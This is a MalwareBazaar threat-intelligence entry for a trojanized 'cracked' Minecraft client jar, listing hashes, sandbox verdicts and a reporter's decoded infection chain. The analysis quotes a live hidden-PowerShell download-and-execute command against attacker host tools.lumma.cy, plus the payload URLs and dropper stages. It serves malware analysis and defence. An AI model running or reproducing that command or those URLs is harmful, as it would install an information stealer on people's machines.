MalwareBazaar Database
You are currently viewing the MalwareBazaar entry for SHA256 e2a6ba7d381c8f7acf4c8c4d0f290eb2cda555b4d8cec49a884766e26bfc6331. While MalwareBazaar tries to identify whether the sample provided is malicious or not, there is no guarantee that a sample in MalwareBazaar is malicious.
Database Entry
Threat unknown
Vendor detections: 2
| SHA256 hash: | e2a6ba7d381c8f7acf4c8c4d0f290eb2cda555b4d8cec49a884766e26bfc6331 |
|---|---|
| SHA3-384 hash: | 9b9b0fa9131b0b5b70b6c38511ca4575e91d47bb4dc037296199b212a439e0607ce4908c9dc66215e7d364eefea9e55f |
| SHA1 hash: | 6be34cc3712e15bd6c37b8b61c54d9aca99e8151 |
| MD5 hash: | 2baac2be24d9be8c8d2895eef7c0b0b0 |
| humanhash: | gee-table-september-missouri |
| File name: | ZYRON-CLIENT-FUCKED-BY-MITTKEE.jar |
| Download: | download sample |
| File size: | 18'717'893 bytes |
| First seen: | 2026-10-25 17:57:56 UTC |
| Last seen: | Never |
| File type: |  jar |
| MIME type: | application/zip |
| ssdeep | 393216:2XgYcjQvORdvi81IXH6SoAsrCi4gxeGwUL5lKLivV/kLR7/7VbI7dL6c0:+7QH1Cnsr/3VlT1k/7Vk7p90 |
| TLSH | T150173391ADA31CA3C96BD5F1F6812425EBADD1D3128BB17884F8688B35DF3E0AD71340 |
| TrID | 77.1% (.JAR) Java Archive (13500/1/2) 22.8% (.ZIP) ZIP compressed archive (4000/1) |
| Magika | jar |
| Reporter |  GhostTypes |
| Tags: | bombay jar lumma.cy |
GhostTypes
Trojanized fake cracked Minecraft client served from https://portalclient-drab.vercel.app/ (Vercel-hosted fake storefront, 11-client catalog all pinned to MC 1.21.11, Leakestan-style 'cracked by Dexter/Sub5Larp/648k.exe' branding, Telegram t.me/+V6Y7K3MitvVkZGVi). The jar carries an injected fabric client entrypoint paneldrop.PanelDrop: on Windows launch it spawns a hidden powershell running irm 'https://tools.lumma.cy/bsKLZ?e8=F' | iex (unique per-jar tracking token). Stage chain (fully decoded, nothing executed): tools.lumma.cy/bsKLZ serves a hidden-window HTA that writes 2-3 random-named VBS to %TEMP%; each runs base64 PowerShell with anti-analysis gates (blocks BITS/WebClient/IWR user-agents, zip magic-byte checks), downloads https://tools.lumma.cy/OIIBSK3NSfP8fAo65JBB.png (PNG-masked zip) and executes rename.exe (name re-rolled per fetch) - a native stealer core, VT 52/75 trojan.clipbanker/mikey, sha256 9ddb5cfa4a64771fbed9b74c1bba90c9e84d1d24d5cb56ed2e3472b17f59cb37. The zip leaks .spread_meta: campaign_id=618, slug=jar/2a53f9a1e1252701, niche=spotify. tools.lumma.cy is Bombay MaaS infrastructure (Lumma branding on the domain is a mask).Intelligence
File Origin
# of uploads :
1
# of downloads :
69
Origin country :
FRVendor Threat Intelligence
No detections
Malware family:
n/a
ID:
1
File name:
jar
Verdict:
No threats detected
Analysis date:
2026-10-25 18:04:49 UTC
Tags:
arch-doc
Note:
ANY.RUN is an interactive sandbox that analyzes all user actions rather than an uploaded sample
Detection:
n/a
Verdict:
Clean
Score:
89.3%
Tags:
n/a
Verdict:
Unknown
Threat level:
0/10
Confidence:
100%
Tags:
anti-debug lolbin macros-on-open obfuscated tracker
Verdict:
Unknown
File Type:
jar
Score:
0%
Verdict:
Benign
File Type:
ARCHIVE
Detection(s):
Suspicious file
Please note that we are no longer able to provide a coverage score for Virus Total.
Threat name:
Suspicious File
Score:
0.35
File information
The table below shows additional information about this malware sample such as delivery method and external references.
Web download
jar e2a6ba7d381c8f7acf4c8c4d0f290eb2cda555b4d8cec49a884766e26bfc6331
(this sample)
Delivery method
Distributed via web download
Comments
Login required
You need to login to in order to write a comment. Login with your abuse.ch account.